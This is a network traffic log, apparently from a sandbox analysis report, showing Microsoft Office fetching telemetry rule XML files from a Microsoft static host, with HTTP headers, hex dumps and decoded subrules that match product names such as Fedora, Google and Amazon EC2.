Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.17	49768	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: abd626af-201e-006e-6999-a3bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bfs6jfhC1EWR678800000014y000000000a23r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.17	49770	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fd10d644-901e-008f-0299-a367a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bkr6n6hC1EWRx10800000003s00000000021yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.17	49769	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 5b939686-101e-0065-5999-a34088000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bqnwr7hC1EWRa66000000014vg00000000gg9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.17	49771	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: fd10d68c-901e-008f-4799-a367a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449blr9xfhC1EWR6mgs00000014xg00000000aarn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.17	49772	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: f09dad20-401e-0035-4199-a382d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bxd7kxhC1EWRapns00000014yg000000007e4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.17	49773	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: ab466b78-b01e-0001-3899-a346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bkr6n6hC1EWRx10800000003qg0000000068ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.17	49774	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 905bac2d-501e-0064-2d99-a31f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bk9jrqhC1EWRqvg400000006z000000000hyuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.17	49775	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c0b85060-601e-000d-6b99-a32618000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bxd7kxhC1EWRapns00000014v000000000gh8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.17	49776	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcc1ad53-701e-003e-5699-a379b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bk9jrqhC1EWRqvg40000000760000000000sqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.17	49777	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d308e746-f01e-003c-3299-a38cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bj2jgkhC1EWRr8fn00000005d0000000007u3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.17	49778	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9ee9526e-701e-0001-6099-a3b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bpx5xthC1EWRqmf400000014v000000000k5es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.17	49779	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: fb7babe9-801e-007b-2699-a3e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bj2v8mhC1EWR5asn0000000fcg00000000a0p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
